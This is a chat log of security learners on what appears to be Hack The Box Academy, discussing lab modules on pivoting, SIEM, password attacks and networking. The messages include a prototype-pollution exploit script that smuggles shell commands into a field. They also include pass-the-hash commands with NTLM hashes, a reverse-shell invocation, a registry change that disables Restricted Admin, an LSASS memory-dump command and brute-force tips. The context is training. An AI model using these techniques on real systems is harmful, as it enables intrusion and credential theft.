SSH server is running on the pivot, it is listening to incoming connection, SOCKS server starts on your own host, it is listening for packets to forward to the target

told you that you didn't need to know this

[noble igloo]

Hi guys, could you tell me the answer to the question in the module: 'Date SIEM Visualization Example 4: Users Added Or Removed From A Local Group'? I added a timestamp as a row for end results, but still no date is matching

[wise vault]

bro today am also on the same module section. am stuck for clearing the concepts i saw videos on youtube i clear the concept but when i cam back and read the section again. its wipe out.

@next bronze thats why i ping you

am thinking from last 2.5 hours

what to do how to do

content is easy

but too tricky😢

see

there should be videos for this module

[normal sand]

So it's basically like this if we try using RDP on a target that's on a directly unreachable network.

SSH:
Attack host sends the RDP connection request via the port you chose on the attacker's machine to port 22 on the pivot machine and then to 3389 on the target machine.

SOCKS:
Sends RDP request to the configured port locally, so it starts on a random port (5555) and then goes to the SOCKS port you chose (3300) and then from there leaves the localhost to the pivot host and onto the target machine? If this is correct, this means it doesn't go to destination port 22 on the pivot host when not used with SSH?

Or am I wrong? 😅

[normal sand]

Wow

[normal sand]

I'm able to answer the end-of-section questions so far since I know how to use the commands, I just want to understand the theory behind how it works.

[wise vault]

woooo! same here

i think you are my replicated version lol

did the same

[next bronze]

for the purpose of understanding dynamic pivoting with SSH, you just need to know SOCKS over SSH will listen on a port -D which will forward the packets of programs running through proxychains

[normal sand]

Got it, so all I need to know is SOCKS is used over SSH, basically tunnelled inside SSH? Is that safe to say?

[next bronze]

correct

[normal sand]

Alrighty, thanks.

I'll move forward in that case.

[wise vault]

hmm

[next bronze]

yeah, reverse shell with a reverse tunnel

[normal sand]

Having internet connection troubles 💀

[next bronze]

read the module and understand it, @normal sand got it so can you

[normal sand]

@next bronze this is what I mentioned earlier right? About the service having it's own port and then sending it to another other local port (of my choice) to be forwarded to the pivot?

Also, sorry, I hope it's alright I pinged you 😓

[next bronze]

yes in this case traffic from local:3300 will be forwarded to remote:3389

[normal sand]

Thanks!

Is this a mistake? Cuz it doesn't show local port forward with metasploit on this page? It just shows regular port forwarding/dynamic port forwarding. Not sure if the term I've used is right.
https://academy.hackthebox.com/module/158/section/1428

[next bronze]

local port forward is regular port forward

[candid lily]

is there a module -> challenge mapping anywhere in external sources or in htb

[normal sand]

Oh okay. I was confused because under the section, Dynamic Port Forwarding with SSH and SOCKS Tunneling, it has a section on local port forwarding where it shows an example of how to access a local mysql service on a target host. This was before they introduced how to access a machine on a different network using a pivot host. So I thought that when a pivot host is used to access another machine, it's called "Dynamic Port Forwarding" and when it's only accessing a local service on a target machine, it's called "Local Port Forwarding". So I was wrong in that assumption, yeah?

[next bronze]

rule of thumb is that if you're using proxychains, it's dynamic port forwarding, if your port forward only opens 1 port, it's local/regualr port forwarding

[fierce mason]

on the skills assessment for windows privilege escalation part i, is the seimpersonateprivilege on the foothold user a rabbit hole

[normal sand]

What do you mean by opens only 1 port? Would that be the example of accessing a local mysql service on a target host that is directly accessible? Or would it be accessing a target machine via exactly 1 pivot host?

[next bronze]

that means you're only reaching one port through the tunnel, it can be reaching a localhost mysql or a rdp on a remote host

[candid lily]

no

it is exploitable

[normal sand]

Ah okay, so both the cases I gave are applicable. Essentially if you're accessing more than one additional port (I'm including the one used for communication), then it's dynamic.

[wise vault]

yeah

[wise vault]

thats right

[normal sand]

When we say one port, we're referring to non-local host ports, yeah?

[wise vault]

@next bronze

[wise vault]

i guess no

[normal sand]

That doesn't sound right...? I've no clue 😂

[wise vault]

its about one ort

port

[next bronze]

doesn't matter where the target port is open at

[candid lily]

local: L.I:L.P:R.I:R.P, what ever comes on L.I ip on L.P port, forward it to R.I ip on R.P port

[next bronze]

basically as I've said, rule of thumb is that if you're using proxychains, it's dynamic port forwarding, anything else it's just regualr port forwarding

[normal sand]

Okay, understood, I hadn't read it properly before. Thanks for reiterating and all your help.

[candid lily]

dynamic is like a tunnel

local is like piping

[next bronze]

both are technically tunnels, just that dynamic, as the name suggests, you can reach multiple ports/targets through it

[wise vault]

@next bronze buddy is
genius

[wise vault]

dynamic means like changing

[wise vault]

dynamic means we can forward any port means we can access any port in local and remote only one port

[zenith canopy]

Module - Footprinting, Lab - easy. I was able to find the ssh private key by authenticating to ftp with credentials provided in the lab, why does the solution ask to perform zone transfer, then subdomain brute force of internal domain? im confused

[wise vault]

@normal sand SOCKS Client and Server:
SOCKS Client: This is your local machine (or any tool on it) that wants to access a network or service it can't reach directly.
SOCKS Server: This is the Ubuntu server you're connecting to via SSH, which will act as a middleman to forward your traffic.

Establishing the Connection:
    You use SSH to create a tunnel between your local machine and the Ubuntu server. This tunnel acts like a pipeline for your network traffic.
    On your local machine, you set up a SOCKS proxy. This proxy listens for traffic and forwards it through the SSH tunnel to the Ubuntu server.

Routing the Traffic:
    When your local machine (the SOCKS client) needs to access a service or network, it sends the traffic to the SOCKS proxy.
    The SOCKS proxy then sends this traffic through the SSH tunnel to the Ubuntu server.
    The Ubuntu server forwards the traffic to the final destination on your behalf.
    The responses from the destination are sent back through the same route, returning to your local machine.

Summary in Simple Terms

You (client): Want to access a remote network.
Ubuntu server (SOCKS server): Helps you reach the remote network.
SOCKS proxy: A special setup on your machine that sends your requests to the Ubuntu server.
Traffic flow: Your requests -> SOCKS proxy -> SSH tunnel -> Ubuntu server -> Remote network.

read it mate now mine concepts are being clear

[fierce mason]

can i dm?

[candid lily]

sure

[cinder mortar]

For Padding Oracle Attacks how do u determin block size?

or is it just a random guess

Under HTTPS/TLS ATTACKS module

[shadow cradle]

Hi I'm trying to do the AttackFTP form Attacking common Service, but there's no FTP service. I restarted many times target host and always waited some minutes before try to scan it but nothing till now. May I ask for some suggestions?

[candid lily]

did you check unusual ports

[shadow cradle]

yep, but nothing there too

I tried with nmap and rustscan too

[candid lily]

there has to be one can you show your nmap output

[shadow cradle]

you broght me luck! At the 10th attempt something show on an unusual port 👍

[candid lily]

can anyone help me with prototype pollution RCE exercise

can anyone explain why im not being able to update the polluted attribute

[tight wigeon]

||smb: > ls
. D 0 Wed Nov 10 11:12:22 2021
.. D 0 Wed Nov 10 11:12:22 2021
important.txt A 16 Wed Nov 10 11:12:55 2021

            10328063 blocks of size 4096. 6101346 blocks available

smb: > get important.txt
Error opening local file important.txt||
I am trying to get a file from the share, i am not able to get it right. I checked the solutions, they did the same, but i'm getting the error, could not find something revelant on google. any ideas?

[tight wigeon]

If youre working in the NFS direcotry created earlier, remember to change it. 😄

[silk anchor]

Anyone got any tips for taking notes while doing the modules?
Feels like I am just copy and pasting most of the stuff until the challenge questions where I will make my own notes for the specific task.
Maybe copy and paste stuff then go back and revise it/summarize into my own words after?

[candid lily]

can anyone help me with prototype pollution RCE exercise

[candid lily]

import requests

url = 'http://94.237.63.224:43887'
headers = {
    "Content-Type" : "application/json"
}

# register
requests.post(f"{url}/register", json={
    "username":"test",
    "password":"test"
}, headers=headers)

# login
headers["Cookie"] = requests.post(f"{url}/login", json={
    "username":"test",
    "password":"test"
}, headers=headers).headers['Set-Cookie']

# prototype pollution 1
requests.post(f"{url}/update", json={
    "constructor":{
        "prototype":{
            "deviceIP":"127.0.0.1; cat /flag.txt"
        }
    }
}, headers=headers)

# get flag
print(requests.get(f"{url}/ping", headers=headers).text)

# prototype pollution 2
requests.post(f"{url}/update", json={
    "constructor":{
        "prototype":{
            "deviceIP":"127.0.0.1; whoami"
        }
    }
}, headers=headers)

# another command
print(requests.get(f"{url}/ping", headers=headers).text) # problem here shows flag again not new result

[eager ledge]

I have a question. Let's say all the hosts are Windows, attack host, pivot host and internal host. SSH is not enabled on the internal host. Now I want to perform dynamic port forwarding on the pivot host. How can I do that?

[candid lily]

why does the second time pollution doesnt work

[next bronze]

use other tools, chisel or ligolo

[eager ledge]

Chisel also works with SSH tunnel under the hood, isn't it?

[candid lily]

this is confusing

why is userObject.deviceIP not changed

userObject is an instance of User class

[next bronze]

it creates a socks tunnel

if you're using the dynamic tunnel option

[candid lily]

oh the first payload is stored in db and recovered so it has high preceedence

how can i avoid this and run multiple payloads

[eager ledge]

Chisel is a TCP/UDP-based tunneling tool written in Go that uses HTTP to transport data that is secured using SSH

This is the first sentence in the module section

[candid lily]

i think chisel uses multiple ssh connections nvm

i think its multiple ssh channels

so its faster than normal ssh -D or idk why its faster

[eager ledge]

So if SSH has been disabled, then chisel won't work. Isn't that correct?

[candid lily]

ssh is just a protocol

for encryption stuff

[eager ledge]

May be its a typo? I mean we use SSL for encrytion. Do we also use SSH for encryption?

[next bronze]

ssl and ssh are two different things

[eager ledge]

Exactly

Is SSH also used for encryption?

[next bronze]

chisel uses the ssh protocol to transport data, it comes bundled to the binary, it doesn't need it to be installed on the host

[eager ledge]

Okay. So that means even if the internal host doesn't have SSH server running, we can perform dynamic port forwarding with chisel?

[next bronze]

yes, which is what I said to begin with

[eager ledge]

😂

Okay thanks

The first sentence in the section had SSH, which got me confused🤷‍♀️

[next bronze]

it does but ssh doesn't need to be installed

[normal sand]

Thanks for this.

[junior flicker]

I use a word processing app for notes in the modules and then use MindNode, a mind-mapping application, for the cheat sheets and the exercises. When I'm doing the exercises, I copy and paste all of the commands I executed that led to the answer and their output and add this into the mindmap. This way I can search through all that I've done and search the cheat sheets too

[kindred dawn]

https://academy.hackthebox.com/module/144/section/1256 In web gathering, I am trying to find the FQDN of an IP... Here I added the DNS name and IP in my /etc/hosts file, but cant seem to resolve it with nslookup... (I am trying nslookup -type=NS inlanefreight.htb)... Any help pls or suggestions?

host is up btw. ping works

FIXED it... specified IP, thanks...

[sharp sentinel]

anyone have done sliver module here

[snow ridge]

I have

[sharp sentinel]

i am not able to get shell in probing the surface section

i followed the exact same commands

[snow ridge]

Works on my machine, check that you have correct IPs and check that byte code is actually made to your IP. Also check that you have correct port and address in listener

[shut vapor]

Summarizing each section in your own words is really great. I take hand-written notes through each section and summarize similarly where needed. Even if I rarely reference those hand-written notes it's the act of writing that helps me retain things.

My more elaborate solution is a personal wiki I run locally. A section for services / services by port number and a section for tools where I note odd-ball flags and copy-paste-mangle examples I can grab quickly. I wouldn't advocate for such a solution -- do what works best for you -- but be mindful about locking your data into proprietary formats / cloud-systems that are either prone to corruption or would be very difficult to migrate away from (e.g. I'm looking at Cherry Tree). My wiki is based on collections of ASCII files, so worst-case I can always get at the contents if something broke in the software.

[fickle thicket]

for Exploiting Web Vulnerabilities in Thick-Client Applications
anyone knows where is fatty-client.jar located at ?

only saw these 3 notes.txt

[fringe urchin]

@next bronze

look who works

[quiet crystal]

Why can't I write to general?

[fathom pendant]

read and follow #welcome

[quiet crystal]

👍

[vital zephyr]

Hi everyone, I'll be frank and direct, I'm in the password attack section, in the form:
PASS THE HASH, I have to answer the last question, which asks me this:
Using Julio's hash, perform a Pass the Hash attack, launch a PowerShell console and import Invoke-TheHash to create a reverse shell to the machine you are connected via RDP (the target machine, DC01, can only connect to MS01). Use the tool nc.exe located in c:\tools to listen for the reverse shell. Once connected to the DC01, read the flag in C:\julio\flag.txt.

I used these commands in sequence

1└─$ evil-winrm -i 10.129.204.23 -u julio -H 64f12cddaa88057e06a81b54e73b949b
C:\Users\Administrator\Documents> reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

2- └─$ evil-winrm -i 10.129.204.23 -u julio -H 64f12cddaa88057e06a81b54e73b949b
C:\Users\Administrator\Documents> reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

than
└─$ xfreerdp /v:10.129.204.23 /u:Administrator /pth:30B3783CE2ABF1AF70F77D0660CF3453

open cmd as admin
nc.exe -lvnp 8007

open powershel as admin, in sequence

Import-Module .\Invoke-TheHash.psd1

Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e -base 64 payload- "

this is the result:

Can someone tell me what went wrong?

[fringe urchin]

you took the ip from your host machine?

or the ip from this compromised machine?
" (the target machine, DC01, can only connect to MS01)"

[vital zephyr]

i am in ms01 pc

[fringe urchin]

well yea but your payload?

which IP did it contain?

[vital zephyr]

172.16.1.5

but in the module it said that you could put DC01 as target, is that wrong?

I'm not understanding if I should use it as a target
172.16.1.5
172.16.1.10
or DC01

[fickle thicket]

U try dc01 as target

I rmb using Dc01 as my target

[vital zephyr]

in the screen I sent I wrote DC01 in the script, but it doesn't respond

[fathom pendant]

you can use dc01 as the target

what is the IP you're using in your revshell payload though, was the question

[fringe urchin]

172.16.1.10 or dc01, either one works

but you aint getting a connection back

meaning you either listening to wrong port or wrong IP

[vital zephyr]

what he suggested to me, I put this in the payload:
172.16.1.5

[fickle thicket]

Try changing the domain to inlanefreight too instead of inlanefreight.htb

Nt sure if it works but thats what i did back then

[vital zephyr]

Should I put the one ending with .10 in the payload?

[fathom pendant]

what does ipconfig /all tell you the IP is

[vital zephyr]

in the payload

[fathom pendant]

for your compromised host

[vital zephyr]

ends with .5

like the one I used in the payload

[fathom pendant]

ok and does your payload use the right port?

also i think this module uses .local not .htb

[fathom pendant]

switch inlanefreight.htb --> inlanefreight.local

[fringe urchin]

checked mine and i used htb aswell, and it worked

[fathom pendant]

really?

huh

[slate zinc]

damm a real windows machine user

[vital zephyr]

so I transform this: Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb
in Invoke-WMIExec -Target DC01 -Domain inlanefreight.local, right?

[fathom pendant]

been a minute then

[fringe urchin]

yea worked for me

[fathom pendant]

it could also be a case of for whatever reason the internal network isn't working properly

[slate zinc]

a very good advice
use linux machine for hacking

[fathom pendant]

and the resolution would be to change vpn regions

[fringe urchin]

or something magicly added when pasting your payload

[fathom pendant]

this doesn't matter for this instance dude

this is attacking from a domain joined windows host

[slate zinc]

yes but is good advice

[kindred dawn]

depends really. You'll get kicked out if sysadmin sees a kali machine on network

(red team assesment)

[fathom pendant]

unless you ask very nicely

[kindred dawn]

xD

If its pentest its ok'

[fathom pendant]

nah i know someone that had to beg their SOC guys to let him have kali to do internal pentests

[kindred dawn]

Tf 💀

[fathom pendant]

iirc someone else had the exe whitelisted but not one of the subprocesses for virtualbox, so it couldn't network

[kindred dawn]

Oh I see

[vital zephyr]

I'm not understanding...

🥲

what should I do=

[fringe urchin]

did you remade the payload?

[fickle thicket]

Anyone knows where the fatty-client.jar is located?😬

[vital zephyr]

should I change the ip address to .10?

I mean, could you tell me how to change it? Could you be a little more clear?

[fathom pendant]

your revshell should use the 172.16.1.5

[fringe urchin]

no, 10 is not correct
172.16.1.5 is correct

https://www.revshells.com/
ip and port set

make sure they are correct and your listener is listening to correc port aswell.

[fathom pendant]

when just clicking and selecting the right payload, i get the same revshell b64 encode that @fringe urchin got

starts with the same characters anyway

[fathom pendant]

ah i see your issue

you turned on advanced options; and thus further changed the payload

[fathom pendant]

you added an extra layer of b64

you changed these options

that's why it's not working

also the -Target isn't 172.16.1.5-Domain

it's the DC01/172.16.1.10

[vital zephyr]

marcie so if I understand correctly I have to turn econding in none , right?

[fringe urchin]

yes you leave it at default

[fathom pendant]

^

[fringe urchin]

you can aswell see the payload on the right is yours and it stats with "CG...." and on the guide it starts with "JAB"
and if you check mine, it starts with "JAB" too

[fathom pendant]

the payload you generated was a b64 payload OF the powershell payload

meaning it would need to first decode then decode again

[vital zephyr]

ok guys, thank you because I solved it. I love this environment, you are always so helpful. Thanks again guys, you are magical

[fathom pendant]

i mean the module doesn't show that option selected, so you shouldn't select it

[vital zephyr]

in reality the form doesn't show that part at all, so by pressing the link, I didn't pay much attention to the fact that it was set since it doesn't mention it

[hexed oyster]

Working on Command Injections -> Identifying Filters. I've gone through all the discussed characters to test. I've found, what I believe, is the character that isn't filtered out, however when I try to answer the question, it tells me that it's incorrect. Am I misunderstanding something?

[fathom pendant]

if it doesn't look similar to the example, you're doing something wrong

the example shows it start with powershell -e (this tells powershell you're passing it encoded text btw)

[vital zephyr]

in fact, I follow your advice that you gave me some time ago: if the path you're taking isn't right, change it, only when I really have no other alternatives I have to ask for a suggestion

[trail sail]

Hi, can you guys please help me? I just can't create an lsass.dmp file. I am running this command in PowerShell, but whenever I search the folder that is supposed to contain the lsass.dmp file, it is empty:

rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\users\htb-student\documents\lsass.dmp full

I am in the module password attacks Attacking LSASS

[fringe urchin]

is that both one command? isnt "C:\windows\system32\comsvcs.dll" victim machine and "C:\users\htb-student\documents\lsass.dmp" your attacking machine? im pretty sure thats not how the command works,
you put file path and then file destination, cant be your local machine, you will need to manually transfter it over

[fathom pendant]

no this looks right(ish)

but you do need to be sure the PID is correct

[fringe urchin]

but isnt his second path his local machine?

[fathom pendant]

no?

the path is on the target machine

[fringe urchin]

ah then my bad, i got confused since i saw "htb-student" and though he is on his local machine

[fathom pendant]

htb-student is the username

with pwnbox your username is like htb-ac{numbers}

[trail sail]

The original command is: PS C:\Windows\system32> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full

But I just can't create the dump file there either.

[fathom pendant]

try running it from CMD instead of powershell

also is the PID correct

is that the PID of the lsass process

[fringe urchin]

right. sorry for that

[trail sail]

It is not working either. I thought it was because of the AV on the target machine, but there is no AV.

[next bronze]

nice you fixed it, what'd you do?

[fringe urchin]

nothing. came home from work, booted up, tried it once more and it worked

....

[next bronze]

https://tenor.com/view/it-be-like-that-sometimes-like-that-sometimes-snoop-dogg-sometimes-just-like-it-gif-12501830

[fringe urchin]

now im stuck on last question

[trail sail]

Sorry for that, i am trying every possible thing that comes to my mind lol

[fringe urchin]

i didnt went with powershell path, i just went to task manager and dumped it

[next bronze]

bad

use my tool

[fringe urchin]

i was doing that on a macbook + htbs box. i really hated that time

[fringe urchin]

[next bronze]

rdp is stinky, do everything in the command line

[fringe urchin]

yea rdp sucks, but the main problem was i had to use my dads macbook, 13 zoll screen.... till my computer arrived.

[trail sail]

Task manager. Can you tell me how you get the dump file that way?

[next bronze]

whats the error this gave you

[next bronze]

if you can dump with via taskmanager you can dump it in the command line

[trail sail]

Omg thanks a lot

[fringe urchin]

but like xreous said, if you can do it with task manager, it works with cmd/powershell too

[fathom pendant]

just gotta have the right process ID

@trail sail your issue is that you just copy/pasted the command from the section, the PID from the example and the PID from the lab won't generally match unless by cosmic coincidence

[fringe urchin]

module: Password attack
section:Pass the Ticket (PtT) from Linux
Use the LINUX01$ Kerberos ticket to read the flag found in \DC01\linux01. Submit the contents as your response (the flag starts with Us1nG_).

well i found the ticket for linux01 but i cant seem to connect to it?
i tried importin it and then using with vmiexe like show above, i tried uploading it on the windows machine (Ju***) and importing the ticket via rubeus.exe (i converted it before to kirbi) but that didnt work either.
any nudge on what im doing wrong?

[fathom pendant]

the PS C:\Windows\System32\ > is your cwd in powershell in the example command; everything after is the actual command to run

[fathom pendant]

you shouldn't need to do anything to it if you found it in the appropriate place, make sure it's not expired

the AD Enum labs has been spawning weirdly on US servers

also it's asking you to just access the share no?

why are you trying to use wmixec instead of just smbclient?

[fringe urchin]

i swear ive been trying to connect to it for an hour or two
im EU so i should be fine

i found the file in: /v**/l**/s**/d*/

ehm well if i already used wmixec for julio share, then linux01 share shouldnt be mich diff

[fathom pendant]

also you don't need to do anything from a windows machine for this section

[fathom pendant]

the error is the machine account doesn't have RPC access

so why not just try accessing it via the intended smbclient method

[fringe urchin]

ok give me a minute

machine ran out of time

[next bronze]

I hate to say it but

[fathom pendant]

isn't this the one that also has a silly unintended?

[rustic sage]

error "REQUIRED_FIELDS"

[next bronze]

I honestly don't remember

it's been a while

[fathom pendant]

what academy module does this relate to?

[rustic sage]

i was looking if i cn upload pics

[fathom pendant]

if it's unrelated to an academy module; wrong channel

try looking in #web

[open summit]

SECURITY MONITORING & SIEM FUNDAMENTALS
Page 7
SIEM Visualization Example 2: Failed Logon Attempts (Disabled Users)
. For question 2 I assumed it is admin* after user.name:. since that what it shows in one of the working queries and it does perform the outcame explained. If someonce can help stir me in the right direction it would be much appriciated. Thanks 🙂

[soft needle]

think about more than just admin-stuff where else can the stuff be?

[fathom pendant]

your filter catches admin-lol but what if it's sqladmin?

[gloomy lichen]

Has anyone finished the "Introduction to Windows Evasion Techniques" module? specifically SA2. I have two different techniques that work fine when I run them manually on the provided user, but they don't run on the automated user. Wondering if its skill issue (as always right?) or else. Would love to chat about it

[silk anchor]

Just completed the hard firewall/IDS/IPS lab, only took a few hours of smashing my head off the wall now I feel like an idiot

[fathom pendant]

just read (but it's genuinely funny)

[fringe urchin]

proxychains4 smbclient -k //dc01/linux01
would that in a normal case suffice? cuz it doesnt for me

[fathom pendant]

try adding -N

i didn't pivot for this, i just used the provided Linux host

[fringe urchin]

from the svc_ user?

[fathom pendant]

from root

[fringe urchin]

well yea , svc_ > root

[weak nova]

Hlo guys

[fringe urchin]

im going insane

[weak nova]

How to give write permission/usr/share/wordlits

[fathom pendant]

did you import the KRB5CCNAME after switching to root

[fringe urchin]

yea

[fathom pendant]

weird

[fathom pendant]

i mean you really don't need write permission, just read permission

[---][---][---]
r = 4
w = 2
x = 1
you'd want the general perms to be 644

r/w owner, r group, r others

rw-r--r--

[weak nova]

Tnx🥰

[fathom pendant]

(also /usr/share/wordlists/)

you typod wordlits

which doesn't exist

[weak nova]

Yaah right

This file and directory not showing

[open summit]

thank you very much! *

[weak nova]

Wordlist-probable.txt

How can fix

Add more passwords

[fringe urchin]

got it!..... not sure till now why i couldnt just pivot tho?

ty

[fathom pendant]

I wouldn't suggest editing pre-made password lists

[potent thorn]

Does anyone have or have edited/crafted a better cheat sheet for the Linux priv esc module? The one they provide is a bit messy and I'm wondering if someone has done the hard work for me to make it nicer haha

[fathom pendant]

If you need to edit it, just use a different list

[weak nova]

Okkk.

[fathom pendant]

Don't dm without asking

[ebon storm]

Im a bit confused on the "Using Splunk Applications" section, am I supposed to install the Sysmon app onto my version of splunk or onto the version pwnbox provides me?

As in, do i have to download the sysmon app within the VM and add it into the Splunk from the "targeted IP"

[fathom pendant]

The target ip should have splunk running iirc

And sysmon

[ebon storm]

I looked for that in the apps and sysmon isnt there. Imma going to try to download it from the VM

[fathom pendant]

You can't

At least on the target*

Targets don't have internet access

But I'm sure the section details steps

[final shale]

The footprinting module is kicking my but.

[ebon storm]

So i read online and other people had the same issue of not having access to the sysmon app during that section, but there is a way to get an answer for the question without having to access it.

Kinda of a curve-ball section tbh

[fading oracle]

@wide river i sent you a dm if you dont mind.

[fierce mason]

for aen, is the "vhosts needed" section a spoiler or are they required to know beforehand

[fathom pendant]

Yes

Anything regarding the questions or reading is a spoiler

The whole module uses the same lab

So you shouldn't need to look beyond p1

[sudden summit]

Has anyone else had some issues with targets not spawning lately? Yesterday I had a lot of trouble spawning in the AD Trust attacks module. Now im experiencing the same thing. Just seems to hang and refreshing the page gives me the option to spawn again....

[cloud urchin]

been an ongoing issue for a while. try changing regions (ie. US -> EU, or EU -> US)

[sudden summit]

Thank you for the sanity check.

[trail sail]

I will type it from now on, following the example. Thanks, Schainy! It is true, this is not the first time I have had that issue with a command from the section by being lazy and doing a copy-paste.

[iron plaza]

I am having an issue in the AEN module Exploitation & PE section ... in the DNN dash I have added asp,aspx but when I go to upload the webshell it say file extension not allowed ... any idea what the issue is and how to resolve this?

[trail sail]

Maybe the folder does not have the right permissions. Although the list you are showing allows the extension, the folder does not.

[iron plaza]

you could be right ... let me poke around

[delicate horizon]

Quick question. How do we get the octet values for octect 2/3/4 when the bit values are set to 0 and not 1? 1st Octet - Value: 192
IP Addresses
Values: 128 64 32 16 8 4 2 1
Binary: 1 1 0 0 0 0 0 0
If we calculate the sum of all these values for each octet where the bit is set to 1, we get the sum:

Octet Values Sum
1st 128 + 64 + 0 + 0 + 0 + 0 + 0 + 0 = 192
2nd 128 + 0 + 32 + 0 + 8 + 0 + 0 + 0 = 168
3rd 0 + 0 + 0 + 0 + 8 + 0 + 2 + 0 = 10
4th 0 + 0 + 32 + 0 + 0 + 4 + 2 + 1 = 39

[fathom pendant]

What is your overarching question, subnet masks?

Or?

Often you don't worry about the binary of an ip

It comes more into play with subnet masks

[fiery crane]

Not able to spawn targets. Is this an issue right now?

[delicate horizon]

Gotcha, to answer you. I am noob just fyi lol, how do we determine on the 2nd,3rd, and 4th octect (info above) which bit has a value of 1 or 0? If that makes more sense

[fathom pendant]

Your larger questions seems networking related

[delicate horizon]

ye

[fathom pendant]

Again you don't ever generally worry about the binary ip

[delicate horizon]

gotcha

[fathom pendant]

Yes it's adding the bits

But you are almost always interacting with a decimal ip

You only get concerned with binaries in subnetting and subnet masks

There's an intro to networking module that goes over basics

[delicate horizon]

thats what i am on

and thats where i got that chart

[fathom pendant]

Yeah I figured

It's just a way to help visualize

[sudden summit]

yeah. I cant either.

[fathom pendant]

Subnet masks are always filled left to right so you don't get any mask that's 00011000 in any octet

[delicate horizon]

oh thats good to know

thanks!

[fathom pendant]

As a mask is an informational piece, how many networks and how many hosts per network

192.168.0.3/24 is on a separate subnet than 192.168.1.3/24

[delicate horizon]

right bc the 3rd octect is different

[fathom pendant]

Well

No

[delicate horizon]

https://tenor.com/view/dog-awkward-awkward-dog-staring-dog-patchibana-gif-13086408744970718509

[fathom pendant]

It's purely bc of the mask

The mask dictates the range

If they were /16 they would be on the same network

(And this is with standard ranges, not /25 /26 /27 masks

[delicate horizon]

gotcha

this is good stuff

[fathom pendant]

Also a good thing to remember

[delicate horizon]

ill make sure to do so haha

[fathom pendant]

Every time you add 1 you divide the number of hosts/network size by 2

So /25 has 1/2 as many hosts as /24

Cause powers of 2

[delicate horizon]

right makes sense

[fathom pendant]

And it goes inverse

But you generally don't work backwards

You usually start with a base, and depending on the number of networks and hosts needed, you do your subnetting from that

[delicate horizon]

that makes a lot more sense

[fathom pendant]

And if your needs don't fit into a power of 2, you take the next highest power of 2 to your needs

So 100 hosts per network you'd adjust to 128 hosts

The usable hosts is just your size -2

Because the last address in a subnet is broadcast, and first is the network itself

[manic spoke]

can anyone give me a nudge on the new broken auth skill assessment?

[cloud urchin]

where are you stuck

[manic spoke]

I'm gonna venture and say enumeration? I have brute forced usernames list and found a bunch of valid usernames, but none of them seem like an account with admin privs.

[cloud urchin]

Are you sure you're running the tool correctly? I only found one result when I tried.

You can DM me the command if you want.

[manic spoke]

dm'd you

pretty sure i figured it out though

[lusty hearth]

Attacking common services : DNS
Am i missing something here?

;; Connection to 10.129.186.37#53(10.129.186.37) for subdomain.inlanefreight.htb failed: host unreachable.
;; no servers could be reached```

sudo ./subbrute.py inlanefreight.htb -s ./names.txt -r ./resolvers.txt

resolvers.txt has the target IP also. Just getting errors and nothing resolving.

[plush crown]

Man I'm stuck on this module

[cloud urchin]

what happens if you axfr with dig?

[lusty hearth]

This 3 times ```;; Connection to 10.129.186.37#53(10.129.186.37) for inlanefreight.htb failed: host unreachable.
;; no servers could be reached

[fathom pendant]

Did your vpn connection die?

[cloud urchin]

it feelsl ike your host died

[fathom pendant]

Or host died

[cloud urchin]

refresh the page and make sure the host is up, as MarcieLee mentioned make sure your'e connected to the VPN if you're using a VM

[lusty hearth]

ive reset it, twice. host too. let me just redownload a file and reset host

[cloud urchin]

if you continue to have problems changing regions is a good idea too

[lusty hearth]

yeah just had to redownload vpn file

[chilly dagger]

why did I lose all my unlocked modules? 😭😭

[autumn pilot]

Please limit the pinging of users and wait for someone to respond to you

[stark lark]

https://academy.hackthebox.com/module/147/section/1391

I suppose I just have to wait. Is there a way to crank up the speed for Hydra SSH brute forcing?

[split glade]

No but what if there were other services, maybe the password of users on those services would be the same as the ssh ones, at least for some of them

[eager ledge]

-t flag can be used in hydra to increase the number of threads that are used for bruteforcing. However, using a large value might result in DoSing the service such that the port temporarily closes due to congetion and certain packets might be dropped resulting in no success even when the password is present in the wordlist. Having said that, SSH bruteforcing is slow and it doesn't allow too many connections. You should try to find if there are other services running on the server.

[split glade]

Yes I'll correct myself, there is the -t flag, and you can use it with other services, but not for SSH (you even get a warning about it when you start hydra with SSH, as you can see in the screenshot you shared)

[thorn vapor]

ok

[autumn pilot]

@thorn vapor this is not the server for such queries

[stark lark]

@split glade @eager ledge Really appreciate the help guys. I will try ||FTP|| since the server doesn't seem to support ||SMB. [ERROR] target smb://10.129.202.64:445/ does not support SMBv1 ||

However ||FTP|| also seems quite slow but mayeb that is because the SSH BF is running in the background?

[regal tiger]

Hey guys, I got a problem with academy: Attacking Web Applications with Ffuf. On the last paragraph there is the question: "One of the pages you will identify should say 'You don't have access!'. What is the full page URL?" I have indeed the right answer, but it's not accapted..

[eager ledge]

You can tweak -t flag. In a real world pentesting situation, you would leave the bruteforcing over night with the default number of threads say 16. However, while doing labs, it is not feasible since the machine's life can only be expanded upto 6 hours. So, you want to speed up the process by increasing number of threads. Thanks to @fathom pendant for doing hit and trial to find the sweet spot 48. More number of threads than that and the service won't respond properly. Less number of threads will result in taking too much time.

[stark lark]

And does 48 apply to all services or just ||FTP||?

[split glade]

About your error, without going into details, for some protocols it's best to use hydra, some crackmapexec, some crowbar, that's (probably) why they teach you the 3

From the top of my head:

• hydra: default
• crackmapexec: SMB (cf your error)
• crowbar: RDP (I had a box where crackmapexec would just return every credentials as valid, and an other where it couldn't find any valid credentials)
  (zombiiieee beat me to it)

[eager ledge]

Not all the services, just that one. As @split glade mentioned crowbar is preferred for RDP, crackmapexec for SMB

[stark lark]

Didn't know that crowbar is preferred for RDP.

[stark lark]

Reading this again, it actually doesn't say that it's SSH which must be brute forced :--)

[next bronze]

hydra can do those too but you'll need to compile it yourself per the documentation

[stark lark]

Wondering why that makes a difference? When you compile it yourself/use the prebuilt on the machine

[stark lark]

Do you know if crackmapexec can also be used for bruteforcing of SMB or just listing and connecting etc.?

[split glade]

Yes it can be used for bruteforcing too, that's in the module

[next bronze]

the prebuilt one doesn't support a lot of the protocols

https://github.com/vanhauser-thc/thc-hydra

[next bronze]

